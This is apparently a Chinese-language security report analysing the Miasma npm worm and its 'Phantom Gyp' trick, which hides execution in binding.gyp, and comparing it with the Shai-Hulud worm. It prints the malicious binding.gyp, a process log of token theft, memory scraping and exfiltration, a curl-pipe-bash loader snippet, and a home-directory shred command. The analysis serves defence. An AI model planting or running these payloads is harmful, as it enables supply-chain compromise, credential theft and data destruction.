1. 簡介

軟體供應鏈安全的態勢持續演變,攻擊者不斷設計更精密的方法來入侵廣泛使用的生態系統。Node Package Manager (npm) 生態系統由於其龐大的依賴關係圖,成為一個特別有吸引力的目標。這份報告針對 Miasma 蠕蟲 提供技術分析,這是一種自我傳播的供應鏈惡意軟體,利用一種稱為 「Phantom Gyp」 的新技術來繞過傳統安全措施 [1] 。此攻擊突顯了 `npm install` 在處理 `binding.gyp` 檔案時的一個關鍵漏洞,使得無需明確的 `package.json` 指令碼就能執行程式碼。我們將深入探討此攻擊的技術細節、分析其攻擊鏈、與 Shai-Hulud 等類似的進階 npm 威脅進行比較,並討論可能的緩解策略。

npm 供應鏈竟藏「幽靈後門」?Miasma 蠕蟲如何靠 binding.gyp 一秒偷走你的 GitHub Token! | 資訊安全新聞

2. 「Phantom Gyp」技術

傳統的 npm 供應鏈攻擊通常依賴於在 package.json 中定義的惡意 preinstall postinstall 生命週期指令碼。然而,Miasma 蠕蟲採用了一種更隱蔽的方式,利用 binding.gyp 檔案。當 npm 在套件中遇到 binding.gyp 檔案時,它會自動呼叫 node-gyp rebuild 來編譯原生 C/C++ 附加元件。攻擊者利用指令替代語法,將惡意指令嵌入到 binding.gyp 檔案中,以此將此行為武器化 [1]

「Phantom Gyp」技術的核心在於以下的 binding.gyp 片段:

  1. {
  2. "targets" : [
  3. {
  4. "target_name" : "Setup" ,
  5. "type" : "none" ,
  6. "sources" : [ "<!(node index.js > /dev/null 2>&1 && echo stub.c)" ]
  7. }
  8. ]
  9. }

在此設定中,通常用於列出編譯用原始檔案的 sources 陣列被巧妙地操縱。`<! ( ... )` 語法會觸發指令替代,導致在 node-gyp rebuild 過程中執行 node index.js 。此執行過程無需在 package.json 中進行任何明確的指令碼宣告,從而有效繞過設計用於監控此類指令碼的安全工具 [1] 。`node index.js` 的輸出會被生成為 stub.c ,這是一個誘餌,用以維持合法建置過程的表象。

3. 惡意軟體攻擊鏈分析

Miasma 蠕蟲的攻擊鏈是一個多階段的過程,目的在隱蔽執行、竊取認證和自我傳播。Harden-Runner 的處理程序監控揭示了攻擊期間的精確事件順序 [1]

# T+ 0.0s - npm install begins
PID 2969: npm install @vapi-ai/server-sdk@1.2.2
# T+ 2.1s - binding.gyp triggers node-gyp
PID 2980: sh -c "node-gyp rebuild"
PID 2982: node node-gyp.js rebuild
# T+ 3.6s - gyp command substitution fires the payload
PID 2997: /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
PID 2998: node index.js
# T+ 3.9s - Bun runtime downloaded and extracted in under 1 second
PID 3006: curl -sSL "https://github.com/oven-sh/bun/releases/download/
bun-v1.3.13/bun-linux-x64-baseline.zip" -o "/tmp/b-80596p/b.zip"
PID 3011: unzip -j -o "/tmp/b-80596p/b.zip" -d "/tmp/b-80596p"
# T+ 4.9s - Malware payload launched via Bun
PID 3013: /tmp/b-80596p/bun run /tmp/p1764ajw42rg.js
# T+ 8.3s - GitHub token theft
PID 3026: gh auth token
# T+ 8.5s - Privilege escalation and Runner.Worker memory read
PID 3034: sudo python3
PID 3035: python3 --> reads /proc/2771/mem (Runner.Worker)
# T+ 12.4s - Secret extraction from runner memory
PID 3037: tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u
# T+ 13.4s - Exfiltration begins via GitHub API
PID 3013: bun --> api.github.com (uploads stolen credentials)
# T+ 17.6s - Reconnaissance
PID 3043: ps aux
PID 3044: which ssh

此詳細日誌揭示了幾個關鍵步驟:

  • 初始執行: `binding.gyp` 檔案觸發 `node-gyp rebuild`,進而透過指令替代執行 `node index.js`。
  • Bun 執行環境部署: 惡意軟體下載並解壓縮 Bun 執行環境(一個合法的 JavaScript 執行環境),以執行其主要 payload。對於 npm 安裝過程來說,這是一個異常的網路事件 [1]
  • 認證竊取: 惡意軟體嘗試使用 `gh auth token` 竊取 `GITHUB_TOKEN`。更關鍵的是,它使用 `sudo python3` 提升權限,讀取 `Runner.Worker` 處理程序記憶體 (`/proc/2771/mem`),提取未遮罩形式的 secret [1]
  • 外洩: 竊取的認證隨後透過已部署的 Bun 執行環境上傳至 `api.github.com`,通常上傳到攻擊者控制下新建立的 GitHub 儲存庫 [1]

3.1. 攻擊鏈時序圖

下方的時序圖說明了 Miasma 蠕蟲攻擊的流程:

sequenceDiagram participant User as User/CI System participant NPM as npm Registry participant MaliciousPackage as Malicious Package participant NodeGyp as node-gyp participant AttackerC2 as Attacker C2 (GitHub) User->>NPM: npm install malicious-package NPM-->>User: Downloads Malicious Package MaliciousPackage->>NodeGyp: Contains binding.gyp NodeGyp->>MaliciousPackage: Reads binding.gyp NodeGyp->>MaliciousPackage: Executes `node index.js` via command substitution MaliciousPackage->>MaliciousPackage: Downloads Bun runtime (curl) MaliciousPackage->>MaliciousPackage: Extracts Bun runtime (unzip) MaliciousPackage->>MaliciousPackage: Launches payload via Bun (`bun run payload.js`) MaliciousPackage->>MaliciousPackage: Attempts `gh auth token` MaliciousPackage->>MaliciousPackage: Executes `sudo python3` MaliciousPackage->>MaliciousPackage: Reads `Runner.Worker` memory (`/proc/PID/mem`) MaliciousPackage->>AttackerC2: Exfiltrates stolen credentials (GitHub API) AttackerC2-->>MaliciousPackage: Confirms exfiltration MaliciousPackage->>NPM: Publishes new malicious versions (self-propagation)

4. 比較研究:Miasma 與 Shai-Hulud

Miasma 蠕蟲與其他進階 npm 供應鏈威脅(尤其是 Shai-Hulud 蠕蟲)有許多共同特徵,後者也展現了蠕蟲般的傳播能力和複雜的規避技術 [2] 。Miasma 利用「Phantom Gyp」,而 Shai-Hulud 主要使用惡意的 `preinstall` 指令碼和高度混淆的 payload。

4.1. 初始感染途徑與規避

Miasma 的主要感染途徑是 `binding.gyp` 檔案,這使得無需直接的 `package.json` 指令碼宣告即可執行程式碼。對於專注於監控 `preinstall` 或 `postinstall` hook 的安全工具來說,這是一個重大的繞過方式 [1] 。相比之下,Shai-Hulud 會明確修改 `package.json`,在其 `preinstall` 指令碼中加入一個惡意進入點,執行一個名為 `setup_bun.js` 的載入器檔案 [2]

  1. // Shai-Hulud setup_bun.js snippet[2]
  2. // #!/usr/bin/env node
  3. async function downloadAndSetupBun() {
  4. // Downloads and installs bun
  5. let command = process.platform === 'win32'
  6. ? 'powershell -c "irm bun.sh/install.ps1|iex"'
  7. : 'curl -fsSL https://bun.sh/install | bash';
  8. execSync(command, { stdio: 'ignore' });
  9. // Runs the actual malware
  10. runExecutable(bunPath, ['bun_environment.js']);
  11. }

兩種蠕蟲都利用合法的工具(Bun 執行環境)和多階段載入程序來規避偵測。Shai-Hulud 的 `setup_bun.js` 看似無害,聲稱安裝 Bun JavaScript 執行環境,但隨後執行一個大型且高度混淆的 `bun_environment.js` payload [2] 。這種將看似良性的載入器與複雜 payload 分離的方式,是一種常見的規避策略。

4.2. 認證收集與外洩

Miasma 和 Shai-Hulud 用途為都在進行全面的認證收集。Miasma 透過讀取 `Runner.Worker` 記憶體來針對 `GITHUB_TOKEN` 和其他 secret [1] 。另一方面,Shai-Hulud 則主動在 GitHub、npm、AWS、GCP 和 Azure 等主要平台搜尋 token,通常利用 Trufflehog 等合法的安全工具進行深度檔案系統掃描 [2]

  1. // Shai-Hulud filesystem scanning snippet [2]
  2. async function scanFilesystem() {
  3. let scanner = new Trufflehog();
  4. await scanner.initialize();
  5. // Scan user's home directory for secrets
  6. let findings = await scanner.scanFilesystem(os.homedir());
  7. // Upload findings to exfiltration repo
  8. await github.saveContents("truffleSecrets.json",
  9. JSON.stringify(findings));
  10. }

外洩機制也顯示出相似之處。Miasma 將竊取的認證上傳到新建立的 GitHub 儲存庫 [1] 。Shai-Hulud 則透過建立帶有特定標記的公開 GitHub 儲存庫,並在受感染的系統間共享 token 以確保持續存取,從而建立一個具彈性的類似 Botnet 的外洩網路 [2]

4.3. 自我傳播與破壞性 payload

兩種蠕蟲都展現了自我傳播的行為。Miasma 透過將受感染套件的新惡意版本發佈到 npm 來傳播 [1] 。Shai-Hulud 則使用竊取的 npm token 下載受害套件,注入其 `setup_bun.js` 載入器,增加版本號碼,然後重新發佈 [2]

兩者都包含破壞性 payload,這是一個特別令人擔憂的共同特徵。Shai-Hulud 具有一個「Dead man's switch」,如果失去對其 GitHub 和 npm 基礎設施的存取權限,就會觸發資料銷毀,透過在 Unix 上使用 `shred` 或在 Windows 上使用 `cipher /W`,使得復原幾乎不可能 [2]

  1. // Shai-Hulud Dead Man's Switch snippet [2]
  2. async function aL0() {
  3. // ... (Authentication checks) ...
  4. // DESTRUCTION TRIGGER: No GitHub AND no NPM access
  5. if (!fetchedToken && !npmToken) {
  6. console.log("Error 12");
  7. if (process.platform === "win32") {
  8. // Attempts to delete all user files and overwrite disk sectors
  9. // ... (Windows specific commands)
  10. } else {
  11. // Attempts to shred all writable files in home directory
  12. Bun.spawnSync(["bash", "-c",
  13. "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
  14. "xargs -0 -r shred -uvz -n 1 && " +
  15. "find \"$HOME\" -depth -type d -empty -delete"
  16. ]);
  17. }
  18. process.exit(0);
  19. }
  20. }

5. 緩解策略與結論

Miasma 蠕蟲和 Shai-Hulud 等類似的進階威脅,凸顯了對強健供應鏈安全實踐的迫切需求。`binding.gyp` 的濫用表明,攻擊者不斷在尋找新方法來繞過僅專注於 `package.json` 指令碼的傳統安全控制。有效的緩解措施需要多層次的方法:

  • 行為分析: 安全工具必須發展到能對套件安裝過程進行更深入的行為分析,超越明確的指令碼宣告,以偵測異常活動,如意外的網路請求或權限提升嘗試 [1]
  • 依賴關係稽核: 定期且徹底地稽核所有依賴項(包括傳遞性依賴項)至關重要。能夠分析 `binding.gyp` 檔案和其他建置設定中是否存在可疑指令的工具是必要的。
  • 最小權限原則: 對 CI/CD 環境和開發工作站強制執行最小權限原則,可以限制入侵造成的影響。限制網路出口和對敏感資源的存取,可以防止外洩和進一步傳播。
  • 執行時期監控: 如 Harden-Runner 所示範的,持續的執行時期監控可以提供處理程序執行和網路事件的即時可視性,從而能快速偵測和回應供應鏈攻擊 [1]
  • 供應鏈完整性: 對套件實施強健的加密簽章,並在整個供應鏈中驗證套件完整性,有助於確保下載的套件未被竄改。

總之,Miasma 蠕蟲代表了 npm 供應鏈攻擊複雜性的一次重大升級。其新穎的「Phantom Gyp」技術及其採用的精密攻擊鏈,要求我們必須採取主動且具適應性的安全態勢。通過了解這些進階攻擊向量並實施全面的安全措施,開發人員和組織可以更好地保護自己免受供應鏈入侵這個持續存在的威脅。